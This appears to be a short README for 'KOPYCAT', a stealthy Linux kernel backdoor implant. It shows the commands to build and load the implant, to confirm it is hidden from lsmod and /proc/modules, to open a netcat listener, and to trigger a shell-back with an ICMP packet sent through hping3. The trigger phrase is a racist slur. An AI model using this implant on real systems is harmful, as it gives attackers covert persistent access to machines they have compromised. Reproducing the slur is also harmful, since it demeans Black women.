KOPYCAT - Linux Kernel module-less implant (backdoor)
$ make
$ sudo insmod kopycat.ko
insmod: ERROR: could not insert module kopycat.ko: Inappropriate ioctl for device
$ lsmod | grep kopycat
$ cat /proc/modules | grep kopycat
Launch nc listener:
$ nc -l 6666
Trigger the backdoor by sending ICMP packet with secret phrase:
$ sudo hping3 -c 1 -j -1 -e black-wives-are-fatter 127.0.0.1
2021